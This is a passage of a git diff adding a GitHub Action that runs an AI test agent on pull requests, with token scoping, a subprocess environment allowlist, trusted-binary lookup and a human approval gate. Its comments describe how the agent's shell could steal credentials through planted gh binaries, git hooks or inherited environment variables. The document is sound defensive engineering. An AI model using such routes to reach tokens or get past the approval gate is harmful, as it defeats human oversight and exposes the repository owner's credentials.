failure reads "issued at is in + * the future" on an otherwise perfectly configured workflow. Backdating is the + * documented workaround. + */ +export function jwtClaims(appId, nowSeconds) { + const iat = Math.floor(nowSeconds) - 60 + return { iat, exp: iat + JWT_LIFETIME_SECONDS, iss: String(appId) } +} + +/** A signed App JWT. RS256 is the only algorithm GitHub accepts here. */ +export function signJwt({ appId, privateKey, now = Date.now() / 1000 }) { + const header = b64url(JSON.stringify({ alg: "RS256", typ: "JWT" })) + const payload = b64url(JSON.stringify(jwtClaims(appId, now))) + const signature = createSign("RSA-SHA256").update(`${header}.${payload}`).sign(privateKey, "base64url") + return `${header}.${payload}.${signature}` +} + +/** + * What to ask for when minting an installation token: this repository only. + * + * A token minted with no body carries every permission the installation + * holds across every repository it covers, so a run in one repository would + * hold write access to all of an organisation's. + * + * The four permissions the starter asks for and this Action uses: + * contents — branches and commits for the fix and reconcile jobs + * pull_requests — the one comment, and opening a pull request + * checks — the "Test Companion" check + * actions — reading the red run, and cancelling one when a PR closes + * + * Returns undefined for a repository we cannot parse, rather than falling + * back to an unscoped request. + */ +export function installationTokenRequest(repo) { + const parts = String(repo ?? "").split("/") + if (parts.length !== 2 || !parts[0] || !parts[1]) return undefined + return { + // Bare names: the API rejects "owner/name" here as not found, which + // would silently fall back to the workflow token. + repositories: [parts[1]], + permissions: { + contents: "write", + pull_requests: "write", + checks: "write", + actions: "write", + }, + } +} diff --git a/test-companion/src/child-env.mjs b/test-companion/src/child-env.mjs new file mode 100644 index 0000000..e765dfe --- /dev/null +++ b/test-companion/src/child-env.mjs @@ -0,0 +1,54 @@ +/** + * The environment the agent's subprocess gets — an allowlist, not a denylist. + * + * The run executes shell commands the model chooses, so everything here is + * readable by them. This is the one place in the Action where a mistake hands + * away a credential, which is why it lives in its own testable module. + * + * A denylist is not enough: a composite action's own inputs can surface as + * INPUT_* variables, reintroducing the very token a denylist removed. Listing + * what the CLI needs is the only version that stays correct as the + * surroundings change. + * + * Known gap: `actions/checkout` leaves a credential in .git/config, which + * this cannot reach. + */ +export function childEnvFor(source) { + const KEEP_EXACT = new Set([ + "PATH", + "HOME", + "USER", + "LOGNAME", + "SHELL", + "TERM", + "TMPDIR", + "TZ", + "LANG", + "LC_ALL", + "CI", + "RUNNER_OS", + "RUNNER_ARCH", + "RUNNER_TEMP", + // Where this job's gh credentials live. A PATH, not a secret — but + // without it the CLI's gh looks in the runner's shared config, finds + // nothing, and jobs that read a failed build fail with "not signed + // in". The token itself still never enters this environment. + "GH_CONFIG_DIR", + ]) + // The exception to the TC_ prefix below, and the reason this is an explicit + // list rather than a rule. The App's private key is TC_ACTION_APP_* — it + // matches the kept prefix, and it can mint installation tokens for every + // repository the App is installed on. That is a far worse thing to hand a + // shell than the workflow token this allowlist was written to keep out. + const NEVER = new Set(["TC_ACTION_APP_ID", "TC_ACTION_APP_PRIVATE_KEY"]) + // TC_* is the CLI's own configuration; BROWSERSTACK_* is how it signs in; + // the proxy variables matter inside corporate networks. + const KEEP_PREFIX = ["TC_", "BROWSERSTACK_", "HTTP_PROXY", "HTTPS_PROXY", "NO_PROXY", "http_proxy", "https_proxy", "no_proxy"] + const out = {} + for (const [k, v] of Object.entries(source)) { + if (v == null) continue + if (NEVER.has(k)) continue + if (KEEP_EXACT.has(k) || KEEP_PREFIX.some((pre) => k.startsWith(pre))) out[k] = v + } + return out +} diff --git a/test-companion/src/framework.mjs b/test-companion/src/framework.mjs new file mode 100644 index 0000000..b5d63e3 --- /dev/null +++ b/test-companion/src/framework.mjs @@ -0,0 +1,37 @@ +/** + * Which test framework does this repository use? + * + * Pure: the caller does the directory walk and the package.json read, this + * decides. Guessing WRONG is worse than not guessing — a starter file naming + * Cypress at a Playwright shop tells the team Test Companion understood their + * setup when it did not — so anything unrecognised returns undefined and the + * starter stays generic. + */ + +/** + * A config file is stronger evidence than a dependency: it is what actually + * runs. A repository can carry `@playwright/test` from an experiment while + * its suite is Cypress. + */ +const BY_CONFIG = [ + [/(^|\/)playwright\.config\.[cm]?[jt]s$/i, "Playwright"], + [/(^|\/)cypress\.config\.[cm]?[jt]s$/i, "Cypress"], + [/(^|\/)wdio\.conf\.[cm]?[jt]s$/i, "WebdriverIO"], +] + +const BY_DEPENDENCY = [ + [/^@playwright\/test$|^playwright$/i, "Playwright"], + [/^cypress$/i, "Cypress"], + [/^@wdio\/cli$|^webdriverio$/i, "WebdriverIO"], + [/^selenium-webdriver$/i, "Selenium"], +] + +export function detectFramework({ filenames = [], deps = {} } = {}) { + for (const [pattern, name] of BY_CONFIG) { + if (filenames.some((f) => pattern.test(String(f)))) return name + } + for (const [pattern, name] of BY_DEPENDENCY) { + if (Object.keys(deps ?? {}).some((d) => pattern.test(d))) return name + } + return undefined +} diff --git a/test-companion/src/gate.mjs b/test-companion/src/gate.mjs new file mode 100644 index 0000000..46f588f --- /dev/null +++ b/test-companion/src/gate.mjs @@ -0,0 +1,102 @@ +/** + * Should this request run, or wait for someone to approve it? + * + * A developer asks, Test Companion says what it plans to do, a reviewer + * replies "go", and only then is anything written. + * + * The mechanism is deliberately boring: a held request runs in PREVIEW and + * its report becomes the proposal. Preview is enforced in the agent's tool + * dispatch, so "nothing is written before go" is a property of how the run + * executes rather than a promise made in a prompt. + * + * Pure, so every branch is testable without a runner. + */ +import { INTENT } from "./intent.mjs" + +/** What to do with the request. */ +export const GATE = Object.freeze({ + /** Run it. `preview` says whether for real. */ + RUN: "run", + /** Run it in preview and post the report as a proposal, then end. */ + PROPOSE: "propose", + /** A "go" arrived with no proposal waiting. */ + NOTHING_TO_APPROVE: "nothing-to-approve", + /** A "go" arrived on a proposal older than the window. */ + EXPIRED: "expired", +}) + +const STRAIGHT_THROUGH = "straight-through" + +/** + * `approval` is the RESOLVED value from `tc workflow bindings --json`. + * + * Anything else — unvalidated, or a bindings read that failed — holds for + * review. Fails closed: a needless proposal costs one comment, the other + * mistake is an unreviewed run that writes. + */ +export function decideGate({ intent, approval, proposal, actor, workflow } = {}) { + if (intent?.kind === INTENT.GO) { + if (!proposal) return { action: GATE.NOTHING_TO_APPROVE } + if (proposal.expired) return { action: GATE.EXPIRED } + // Approving is the whole point, so this is explicitly not a preview. + // + // selfApproved is reported, not refused. Asking and approving both need + // write access, so this is not a privilege boundary — it is a + // workflow-integrity signal. Refusing it outright would strand a solo + // maintainer, who could then never approve anything. + return { + action: GATE.RUN, + preview: false, + approvedProposal: proposal.id, + selfApproved: Boolean(proposal.requester) && proposal.requester === actor, + } + } + + // They already asked for the safe thing. Holding a preview for approval + // would be asking permission to write nothing. + if (intent?.preview) return { action: GATE.RUN, preview: true } + + // The same reasoning for a job that CANNOT write. `rca` and `verdict` + // produce an explanation and nothing else, so there is nothing to approve + // and the proposal would be empty. + // + // PREVIEW, not just unheld. Skipping the hold is only safe because the run + // cannot write, and that has to be made true rather than assumed: these + // jobs run with --yolo and a shell, and a binding set to `mode: live` + // would otherwise hand an unapproved run write tools. + if (ANSWER_JOBS.has(workflow)) return { action: GATE.RUN, preview: true } + + if (approval === STRAIGHT_THROUGH) return { action: GATE.RUN, preview: false } + + // "review-before-run", and anything unrecognised, which fails closed here. + return { action: GATE.PROPOSE, preview: true } +} + +/** + * Jobs that produce an explanation and no artefact. + * + * Used by the gate above and by whether the Action shows the answer in the + * comment. Mirrored on the CLI side, which decides whether to write the + * answer to the result file at all. + */ +export const ANSWER_JOBS = new Set(["rca", "verdict"]) + +/** Where a change stops being reviewable in one go. Both are assumptions. */ +const MANY_FILES = 20 +const MANY_LINES = 1000 + +/** + * Is this change too big to test in one go? + * + * An unreadable pull request is NOT large. Getting that backwards would tell + * every reviewer their change is too big whenever the API call failed. + * + * Reports the size only. Choosing which part of a thirty-file change to test + * is the agent's judgement, and there is no input for handing it that + * instruction, so the reviewer narrows the proposal before approving it. + */ +export function describeChangeSize(pr) { + const files = Number(pr?.changed_files ?? 0) + const lines = Number(pr?.additions ?? 0) + Number(pr?.deletions ?? 0) + return { files, lines, large: files > MANY_FILES || lines > MANY_LINES } +} diff --git a/test-companion/src/intent.mjs b/test-companion/src/intent.mjs new file mode 100644 index 0000000..9af9313 --- /dev/null +++ b/test-companion/src/intent.mjs @@ -0,0 +1,258 @@ +/** + * What did the comment ask for? + * + * "@browserstack fix the failing tests" becomes a job name here, in the + * Action, before the CLI is spawned. Handing the sentence to the agent + * instead would spend the customer's credits discovering that "make coffee" + * was never a job. + * + * Pure — text in, intent out, no I/O — so the whole vocabulary is testable in + * milliseconds. + * + * The phrasing people use is not a closed set, so UNKNOWN is a real answer + * rather than a failure: an unmatched comment gets the list of what Test + * Companion can do. + */ + +/** What a comment turned out to be asking for. */ +export const INTENT = Object.freeze({ + /** Run a Test Companion job. `workflow` names it, or is null for "whatever is bound". */ + WORKFLOW: "workflow", + /** Asked us to stop. Nothing stops any more, but the word is still answered. */ + STOP: "stop", + /** Approve a waiting proposal, which starts the real run. */ + GO: "go", + /** Open the pull request that adds a starter pipeline file. */ + SETUP: "setup", + /** We could not place it: reply with the list, run nothing. */ + UNKNOWN: "unknown", +}) + +/** + * GitHub's "Quote reply" button copies the comment being replied to in as `>` + * lines, mention and all. Without dropping those first, replying to Test + * Companion's own "comment stop to cancel" message would cancel the run: the + * quoted words match before the person's own ever get read. + */ +const withoutQuotes = (text) => + text + .split("\n") + .filter((line) => !/^\s*>/.test(line)) + .join("\n") + +/** + * A leading politeness, which says nothing about what is being asked for. + * "please stop" is a stop; dropping it lets the patterns below anchor. + */ +const POLITENESS = /^(?:please\s+|pls\s+|can\s+you\s+|could\s+you\s+|kindly\s+)+/i + +/** + * Checked before any job word, so "stop, don't fix anything" cannot start a + * fix run. + * + * ANCHORED, because matching the word anywhere made "don't stop until the + * tests pass" cancel the run. What the comment opens with is what it is + * asking for; the same word later in a sentence is usually about something + * else. + */ +/** + * STILL RECOGNISED, but it no longer does anything. + * + * Proposals already sitting in live threads tell people to say it, and + * answering those with "that did not name anything I can do" would be true and + * useless. main.mjs says what to do instead. + */ +const STOP = /^stop\b/i + +/** + * "set up this repo" opens the pull request that adds the starter file. + * Anchored for the same reason — "the test setup is broken, fix it" was + * opening a settings pull request instead of running fix. + */ +const SETUP = /^set\s?-?\s?up\b/i + +/** "Any comment MAY ask for a single preview run." A modifier, not a job. */ +const PREVIEW = /\bpreview\b/i + +/** Run the bound jobs again on this commit — which is what a re-check is. */ +const RECHECK = /\bre-?\s?check\b/i + +/** + * Approve a waiting proposal. + * + * ANCHORED, like STOP and SETUP: only a comment that OPENS with the word (after + * any politeness) approves. Matched anywhere, a comment that merely mentions it + * approved a waiting plan and started a live run that writes to the branch: + * "don't go ahead yet, explain this failure" and "no, do not approve that" + * both did. Opening with it still allows edits after it: "go, and fix case 3's + * title". `\b` keeps "going" and "gopher" out. + */ +const GO = /^(?:go|approved?)\b/i + +/** + * An approval and nothing else. + * + * ONE definition, exported, because three readers have to agree on it: this + * file (does the reply name a plan?), plan-run.mjs (may an UNADDRESSED + * comment reach us at all?) and report.mjs (did the approver edit the plan?). + * Each past disagreement between them was a bug. + */ +export const BARE_APPROVAL = /^\s*(?:go|approved?)\s*[.!]*\s*$/i + +/** + * An approval that names WHICH plan — `go #`, or `go `. + * + * ANCHORED to the approval word and to the end of the comment. Matching a + * `#id` anywhere would turn "go — and pull the steps from + * #issuecomment-…" into an approval of a plan that does not exist. + * + * Six digits at least: a GitHub comment id is ten digits, and `#25` is + * somebody pointing at a pull request. + */ +export const APPROVAL_WITH_PLAN = /^\s*(?:go|approved?)\s+\S*#(?:issuecomment-)?(\d{6,})\s*[.!]*\s*$/i + +/** Is this reply an approval and nothing else, with or without a plan named? */ +export const isApprovalOnly = (text) => BARE_APPROVAL.test(String(text ?? "")) || APPROVAL_WITH_PLAN.test(String(text ?? "")) + +/** + * WHICH plan a reply is approving. + * + * `go #`, or the comment link GitHub gives you when you copy a comment's + * address. A bare `go` names nothing and the newest waiting plan wins, which + * is right when there is one and a coin toss when there are two. + */ +const namedProposal = (text) => APPROVAL_WITH_PLAN.exec(String(text ?? ""))?.[1] + +/** + * Plain words to job names, most specific first. + * + * The names on the right are the CLI's: `tc workflow run` only accepts its + * own registered jobs, so "explain" has to become `rca` and "find the bad PR" + * has to become `verdict` here, or the run fails with "unknown workflow". + */ +const PHRASES = [ + // Before the `fix` rule: "find the bad PR" shares no word with it, but + // keeping the multi-word jobs first means a later single-word rule can never + // steal one of them. + [/\bfind\s+(the\s+)?bad\s+(pr|prs|pull requests?)\b/i, ["verdict"]], + // Each phrase maps to a PREFERENCE LIST: the first one this repository has + // actually bound wins, and the first overall is the fallback. + // + // "test this PR" is why the list exists. `test` runs a project's EXISTING + // suite and never reads the diff, which is what test-pr replaced. A + // repository still bound to the older job keeps working; one that has + // moved gets the job that reads the change. + [/\btest\s+(this\s+)?(pr|pull request|change|diff)\b/i, ["test-pr", "test"]], + [/\bexplain\b/i, ["rca"]], + [/\bfix\b/i, ["fix"]], +] + +/** The first candidate this repository has bound, or the first overall. */ +const pickBound = (candidates, workflows) => candidates.find((c) => (workflows ?? []).includes(c)) ?? candidates[0] + +/** + * A job asked for by its own name. + * + * PHRASES covers four of the CLI's fourteen jobs, so the names a repository + * has actually bound are matched literally as a fallback. + * + * Longest first, so "mobile run" is never read as "run". Word boundaries, so + * "regenerated the lockfile" is not a request to run `generate`. + */ +function namedWorkflow(text, workflows) { + const said = wordsOf(text) + const byLength = [...(workflows ?? [])].filter(Boolean).sort((a, b) => b.length - a.length) + return byLength.find((name) => saysAll(said, wordsOf(name))) +} + +/** + * The words in a string, lowercased. + * + * Underscore counts as part of a word, matching what `\b` does, so `test_pr` + * is one word and is not read as the job `test-pr`. + */ +const wordsOf = (text) => + String(text ?? "") + .toLowerCase() + .match(/[a-z0-9_]+/g) ?? [] + +/** + * Does `said` contain `name` as a consecutive run of WHOLE words? + * + * Word comparison rather than a regex built from the name, so there is + * nothing to escape. + * + * One consequence: punctuation inside a name is a word break, so a job called + * `a.c` is also found in the words "a c". Names come from the repository's own + * pipeline file, and being slightly more willing to recognise one is the safe + * direction — the alternative is telling someone their own job name is not a + * job. + */ +const saysAll = (said, name) => name.length > 0 && said.some((_, i) => name.every((w, j) => said[i + j] === w)) + +/** + * Read a comment's instruction — the body with the @mention already stripped by + * plan-run.mjs — and say what it asked for. + * + * `workflows` is what the repository has bound, so a job can be asked for by + * name. Without it, only the written-out phrases are understood. + */ +export function readIntent(instructions, { workflows = [], proposalWaiting = false } = {}) { + const text = withoutQuotes(String(instructions ?? "")).trim() + if (!text) return { kind: INTENT.UNKNOWN } + + // Before the job words, so "stop, don't fix anything" cannot start a fix + // run. It no longer stops anything; it answers with what to use instead. + const asked = text.replace(POLITENESS, "") + if (STOP.test(asked)) return { kind: INTENT.STOP } + if (SETUP.test(asked)) return { kind: INTENT.SETUP } + + const preview = PREVIEW.test(text) + + // With a plan waiting, a reply most likely IS an approval — and edits + // alongside it are invited ("you can edit the list first"). Job words + // match anywhere, so testing them first would read "go, and fix case 3's + // title" as a fresh request for `fix` and drop the approval. Still after + // STOP: approving and cancelling in one breath has to cancel. + if (proposalWaiting && GO.test(asked)) return { kind: INTENT.GO, proposalId: namedProposal(text) } + + for (const [pattern, candidates] of PHRASES) { + if (pattern.test(text)) { + return { kind: INTENT.WORKFLOW, workflow: pickBound(candidates, workflows), preview } + } + } + + // A bound job asked for by its own name. + const named = namedWorkflow(text, workflows) + if (named) return { kind: INTENT.WORKFLOW, workflow: named, preview } + + // a reply of "go", with or without edits to the case list. + if (GO.test(asked)) return { kind: INTENT.GO, proposalId: namedProposal(text) } + + // No job named, but a clear ask: run whatever the pipeline file binds to this + // event — the same thing an event-driven run does — and carry the preview + // flag if they asked for one. + if (preview || RECHECK.test(text)) { + return { kind: INTENT.WORKFLOW, workflow: null, preview } + } + return { kind: INTENT.UNKNOWN } +} + +/** + * What to offer when we could not place a request. + * + * Only what actually works today: advertising a job that does not exist + * invites a request we would have to refuse a second time. + * + * Kept next to PHRASES on purpose — a phrase people can type and a phrase we + * advertise should never drift apart. + */ +export const CAPABILITIES = Object.freeze([ + { ask: "test this PR", does: "write and run tests for this change" }, + { ask: "explain this failure", does: "say why a red build failed, test by test" }, + { ask: "fix the failing tests", does: "fix stale tests and open a pull request with them" }, + { ask: "find the bad PR", does: "say which recent change most likely broke a red build" }, + { ask: "set up this repo", does: "open a pull request adding a settings file" }, + { ask: "preview", does: "do the run but write nothing — add it to any request above" }, + { ask: "re-check", does: "run it again on the latest commit" }, +]) diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs new file mode 100644 index 0000000..c2179ac --- /dev/null +++ b/test-companion/src/main.mjs @@ -0,0 +1,1970 @@ +/** + * The Action's entry point. + * + * Deliberately thin. Every decision worth testing lives in plan-run.mjs, + * outcome.mjs and report.mjs, which are pure and run under `node --test` in + * milliseconds. What is left here is I/O: read the event, spawn the CLI, call + * GitHub, write the step's outputs. That split exists because the only other + * way to test this is to push a commit and wait several minutes for a runner. + * + * Zero dependencies — Node's standard library plus `gh`, which is preinstalled + * on every GitHub runner and is already how this product talks to GitHub. + */ +import { readFileSync, appendFileSync, writeFileSync, existsSync, rmSync, readdirSync, accessSync, mkdtempSync, lstatSync, constants } from "node:fs" +import { spawnSync } from "node:child_process" +import { join } from "node:path" +import { tmpdir } from "node:os" +import { planRun, contextArgs, withPullRequestHead, TC_EVENTS } from "./plan-run.mjs" +import { readIntent, INTENT } from "./intent.mjs" +import { chooseRunsToCancel, runIdsFromChecks, latestFailedRun } from "./runs.mjs" +import { decideGate, GATE, describeChangeSize, ANSWER_JOBS } from "./gate.mjs" +import { mayAsk, describeTestRepoAccess } from "./access.mjs" +import { findTicket } from "./ticket.mjs" +import { childEnvFor } from "./child-env.mjs" +import { canIsolate, prepareSandbox, stopSandbox, handToAgent, writeAgentEnv, readAgentFile } from "./sandbox.mjs" +import { agentEnvFrom, asAgentCommand, checkPrHandoff, readClaimResult } from "./sandbox-policy.mjs" +import { startRelay } from "./relay.mjs" +import { runCapturingAnswer } from "./answer.mjs" +import { appCredentials, signJwt, installationTokenRequest } from "./app-auth.mjs" +import { OUTCOMES, parseSummary, resolveOutcome, checkConclusion, stepShouldFail, approvalWasSpent } from "./outcome.mjs" +import { + renderJobSummary, + renderCheckSummary, + renderComment, + chooseCommentAction, + checkSha, + checkSubjectFor, + renderNotAuthorized, + renderUnknownRequest, + findProposal, + renderProposal, + renderExtraChecks, + accessibilityFailsCheck, + renderApprovedPlan, + proposalDroppedMarkerFor, + renderStopRemoved, + proposalConsumedMarkerFor, + proposalAlreadyUsed, + proposalNeedsDropping, + flattenPages, + hasApproverEdits, + renderProposalBody, + isApprovableJob, + findSupersededProposal, + checkRequestFor, + inFlightCheckId, +} from "./report.mjs" +import { pipelineConfigPath, renderNoPipelineReport, settingsRef, renderSetupPr, starterPipelineFor } from "./starter.mjs" +import { detectFramework } from "./framework.mjs" +import { buildAnnotations, parseFailedTests } from "./annotations.mjs" +import { + shouldPushWork, + changedPaths, + splitPushable, + renderPushNote, + needsCheckout, + isSameRepo, + pushCredentialEnv, + pushUrlFor, + unexpectedConfigKeys, + agentCommitted, + CONFIG_READ_ARGS, + trustedGitPath, + trustedGhPath, + ghEnvFrom, + gitEnvFrom, + GIT_SAFE_ARGS, +} from "./push-work.mjs" + +const env = process.env +const REPO = env.GITHUB_REPOSITORY ?? "" +const RUN_URL = `${env.GITHUB_SERVER_URL ?? "https://github.com"}/${REPO}/actions/runs/${env.GITHUB_RUN_ID ?? ""}` +// RUNNER_TEMP, not the system temp dir: GitHub clears RUNNER_TEMP per job, while +// /tmp survives on a self-hosted or reused runner. With fixed names in a shared +// /tmp, `existsSync(RESULT_FILE)` could find an EARLIER job's file and this run +// would report, and upload, test cases it never produced. Falls back to tmpdir +// so the Action still runs outside a GitHub runner. +const REPORT_DIR = env.RUNNER_TEMP || tmpdir() +const SUMMARY_FILE = join(REPORT_DIR, "test-companion-report.md") +// What the run PRODUCED, as opposed to how it went. Kept separate because the +// two have separate readers: a CI step branches on the summary, a person reads +// the result. For a preview run — which refuses to save by design — this file +// is the only place the generated cases survive. +const RESULT_FILE = join(REPORT_DIR, "test-companion-result.md") + +// The artifact the result is uploaded under, named here so the report can +// point a reader at it by name. Must match the upload step in action.yml. +const RESULT_ARTIFACT = "test-companion-result" + +const setOutput = (k, v) => env.GITHUB_OUTPUT && appendFileSync(env.GITHUB_OUTPUT, `${k}=${v}\n`) +const addToJobSummary = (md) => env.GITHUB_STEP_SUMMARY && appendFileSync(env.GITHUB_STEP_SUMMARY, md + "\n") +const notice = (m) => console.log(`::notice::${m}`) +const warn = (m) => console.log(`::warning::${m}`) + +/** + * The gh we run, found once, at load, BEFORE the agent runs. Looked up by + * name instead, a `gh` the agent planted on PATH would be handed our token. + * See trustedGhPath. + */ +const GH_BIN = trustedGhPath({ + exists: (p) => existsSync(p), + canWrite: (p) => { + try { + accessSync(p, constants.W_OK) + return true + } catch { + return false + } + }, +}) + +/** + * Every gh call in the Action goes through here, never through a bare + * `spawnSync("gh", ...)`. A test checks that. + * + * Each call gets its own empty settings folder, made just before and removed + * just after (see ghEnvFrom for why). The token is passed per call, so the + * App's signed key never sits in any environment. + */ +function runGh(args, { token, input } = {}) { + if (!GH_BIN) return { status: 1, stdout: "", stderr: "no trusted gh binary" } + const configDir = mkdtempSync(join(env.RUNNER_TEMP || tmpdir(), "tc-gh-call-")) + try { + return spawnSync(GH_BIN, args, { + encoding: "utf8", + input, + env: ghEnvFrom(env, { token, configDir }), + }) + } finally { + rmSync(configDir, { recursive: true, force: true }) + } +} + +/** The raw `gh` call, so a caller that cares WHY it failed can look. */ +function ghRaw(args, body) { + return runGh(args, { token: env.GH_TOKEN, input: body ? JSON.stringify(body) : undefined }) +} + +/** `gh api`, returning parsed JSON or null. Never throws — reporting must not break a run. */ +function gh(args, body) { + const r = ghRaw(args, body) + if (r.status !== 0) { + // A missing permission is a normal, documented outcome: skip that + // write, name it, carry on. It is never a reason to fail the run. + warn(`GitHub API call failed (${args[1] ?? args[0]}): ${(r.stderr ?? "").trim().split("\n")[0]}`) + return null + } + try { + return JSON.parse(r.stdout) + } catch { + return null + } +} + +/** + * Sign in as the Test Companion GitHub App, when it is installed. + * + * The comment and the tick then come from "Test Companion" rather than + * github-actions[bot], and the workflow needs no permissions block because + * the installation token carries the App's own. + * + * It does not run anything — the run still happens on the customer's machine + * with their BrowserStack credentials. + * + * Every failure here falls back to the workflow token rather than stopping. + * A repository without the App installed is the normal case, not an error. + */ +/** + * The login this Action's comments appear under. + * + * `github-actions[bot]` with the workflow token; `[bot]` when the + * App is installed. Used to tell OUR comments from any other bot's — "any + * bot" would let another App post a proposal marker that a maintainer's `go` + * then runs live. + */ +let botLogin = "github-actions[bot]" + +/** HEAD before the agent ran, so a commit it made can be told from ours. */ +let headBeforeRun = "" + +/** Set when this run is carrying out an approved proposal, so the plan is marked spent. */ +let consumedMarker = "" + +/** What happened to a pull request the CLI handed back to open, for the comment. */ +let handoffNote + +/** + * The CLI this job installed. Ours to run: it lives in the runner's home, + * which the locked-down agent cannot reach. The agent gets its own copy. + */ +const TC_PATH = join(env.HOME ?? "", ".local", "bin", "tc") + +/** + * Whether to run the agent unisolated when it cannot be locked down. Off by + * default: unisolated, the agent can reach every token and secret in the job. + */ +const ALLOW_UNISOLATED = /^true$/i.test(String(env.TC_ACTION_ALLOW_UNISOLATED ?? "").trim()) + +/** + * The proposal this run is carrying out, so the report can link it. + * + * Approving one job no longer finishes off the + * others on that commit, so two plans really can be waiting and "approved" on + * its own no longer says which one this is. + */ +let approvedPlan + +/** + * Put the working tree on one commit. + * + * Never `--depth 1`: that SHALLOWS a clone the starter deliberately made with + * `fetch-depth: 0`, so anything looking at history afterwards sees one + * commit. The checkout's own result is checked, not just the fetch's. + * + * The URL is explicit and carries its own credential, because the starter + * sets `persist-credentials: false` — the workflow token must not sit in + * `.git/config` where a shell command the agent chose can read it. + */ +function fetchAndCheckout(sha, branch) { + const url = pushUrlFor(REPO, env.GITHUB_SERVER_URL) + if (!url || !sha) return false + const cred = pushCredentialEnv(env.GH_TOKEN, url) + if (!git(["fetch", url, sha], cred).ok) return false + return branch ? git(["checkout", "-B", branch, sha]).ok : git(["checkout", "--detach", sha]).ok +} + +function appInstallationToken() { + const creds = appCredentials(env) + if (!creds) return undefined + // `creds` holds its own copy, so the key can leave + // the environment the moment it has been read. Everything this process + // starts from here on inherits that environment — including the agent, + // which runs with --yolo and chooses its own commands — and a signing key + // is not something to leave lying where they can read it. + // + // childEnvFor strips it for the agent already; this closes the same hole + // for everything else, and does not rely on remembering to list it. + delete env.TC_ACTION_APP_PRIVATE_KEY + + let jwt + try { + jwt = signJwt(creds) + } catch (e) { + // A malformed key is worth saying out loud: someone configured this and + // it silently did nothing. + warn(`Could not sign the GitHub App token (${e?.message ?? e}); using the workflow token instead.`) + return undefined + } + + // The JWT authenticates the APP; only the installation token can touch a + // repository. Passed per-call rather than exported, so it never lands in + // the environment at all. + const asApp = (args) => runGh(args, { token: jwt }) + + const found = asApp(["api", `repos/${REPO}/installation`]) + if (found.status !== 0) { + notice("Test Companion: the GitHub App is not installed on this repository; using the workflow token.") + return undefined + } + let installationId + let appLogin + try { + const installation = JSON.parse(found.stdout) + installationId = installation?.id + // What WE post as. An App comments as + // `[bot]`, and knowing that is what lets us tell our own + // proposal from another App's. + // Remembered here, but only adopted once a token is actually minted + // (below). Adopted early, a failed mint left us posting as + // github-actions[bot] while looking for our plans under the App's name. + appLogin = installation?.app_slug ? `${installation.app_slug}[bot]` : undefined + } catch { + return undefined + } + if (!installationId) return undefined + + // "for that repo only". A token minted with no body carries every + // permission the installation holds across every repository it covers — a + // run in one repository would hold write access to all of an organisation's. + const scope = installationTokenRequest(REPO) + if (!scope) { + warn(`Could not read "${REPO}" as owner/name, so no scoped App token was requested.`) + return undefined + } + + const mint = (body) => + runGh(["api", `app/installations/${installationId}/access_tokens`, "--method", "POST", "--input", "-"], { + token: jwt, + input: JSON.stringify(body), + }) + + // No retry with a smaller request. An installation granted fewer + // permissions than we ask for refuses the whole request, and the old + // retry dropped the permission list, which asks for EVERYTHING the + // installation holds. If the App ever gained a permission, that retry + // would hand it to a run that never needed it. The workflow token is + // the safer fallback. + const minted = mint(scope) + if (minted.status !== 0) { + warn( + "Could not get a GitHub App token with the permissions Test Companion needs; using the workflow token instead. " + + "If the App's permissions were changed, an organisation owner may need to accept them.", + ) + return undefined + } + + let token + try { + token = JSON.parse(minted.stdout)?.token + } catch { + return undefined + } + if (!token) return undefined + + // credentials are masked in the log. Before the token is used for + // anything, so there is no window where it could be echoed unmasked. + console.log(`::add-mask::${token}`) + if (appLogin) botLogin = appLogin + return token +} + +/** + * The settings file as it stands on the DEFAULT BRANCH, not the checked-out + * tree. + * + * Read from the branch under test, a pull request could rewrite the rules for + * its own run — switch itself from preview to live, delete its spending + * limit, point its writes elsewhere. + * + * Returns the local path the content was written to, or undefined when there + * is no settings file there. Fails SAFE: a fetch that errors is treated as + * "no settings", a clean skip rather than a run governed by whatever happens + * to be checked out. + * + * `--raw` because this is YAML, not the JSON envelope gh parses. + */ +function fetchSettings(path, ref) { + const r = runGh( + ["api", `repos/${REPO}/contents/${path}?ref=${encodeURIComponent(ref)}`, "-H", "Accept: application/vnd.github.raw"], + { token: env.GH_TOKEN }, + ) + if (r.status !== 0) { + const first = (r.stderr ?? "").trim().split("\n")[0] + // A 404 is the ordinary "this repo has no settings file yet" case. + // Anything else is worth saying out loud, because the run is about to skip. + if (!/404|Not Found/i.test(first)) warn(`Could not read ${path} from ${ref}: ${first}`) + return undefined + } + const local = join(REPORT_DIR, "testcompanion-pipeline.default-branch.yml") + writeFileSync(local, r.stdout) + return local +} + +/** + * Whether `login` may ask Test Companion for a run. + * + * admin, maintain and write can; triage and read cannot. Any failure to get a + * clear answer counts as "no". + */ +function hasWriteAccess(login) { + if (!login) return false + const res = gh(["api", `repos/${REPO}/collaborators/${login}/permission`]) + return ["admin", "maintain", "write"].includes(res?.permission) +} + +/** + * Is `login` on `team` in this repository's organisation? + * + * Tri-state on purpose: undefined means we could not find out (no token for + * the organisation, API down, rate limited), which mayAsk treats as a no. + */ +function isOnTeam(login, team) { + if (!login || !team) return undefined + const org = REPO.split("/")[0] + const res = gh(["api", `orgs/${org}/teams/${team}/memberships/${login}`]) + if (!res) return undefined + return res.state === "active" +} + +/** + * Run git in the checkout. Never throws: every caller here treats a git + * failure as "we could not save the work", which is reported, not fatal. + */ +/** + * Resolved once, at module load — BEFORE the agent runs, so a `git` planted on + * PATH later cannot be the one we find. Absent means we do not commit at all. + */ +const GIT_BIN = trustedGitPath({ + exists: (p) => existsSync(p), + canWrite: (p) => { + try { + accessSync(p, constants.W_OK) + return true + } catch { + return false + } + }, +}) + +function git(args, extraEnv = {}) { + // A near-empty environment, and no hooks. These run AFTER the agent, which + // has had --yolo write access to the tree: a planted .git/hooks/pre-commit + // would otherwise be executed by our own `git commit` with the App's + // private key and the customer's credentials in its environment. + if (!GIT_BIN) return { ok: false, out: "", raw: "", err: "no trusted git binary" } + const r = spawnSync(GIT_BIN, [...GIT_SAFE_ARGS, ...args], { + encoding: "utf8", + env: { ...gitEnvFrom(env), ...extraEnv }, + }) + // `raw` is deliberate. `git status --porcelain` puts a SPACE in the first + // column for an unstaged modification, and trimming the whole output eats + // it on the first line, which once lost ten passing tests. + // Anything parsing columns reads `raw`; everything else wants `out`. + return { ok: r.status === 0, out: (r.stdout ?? "").trim(), raw: r.stdout ?? "", err: (r.stderr ?? "").trim() } +} + +/** + * The repository's default branch, or undefined when we cannot find out. + * Undefined only relaxes the default-branch refusal, so an unanswered call + * never widens anything else. + */ +function defaultBranchName() { + return 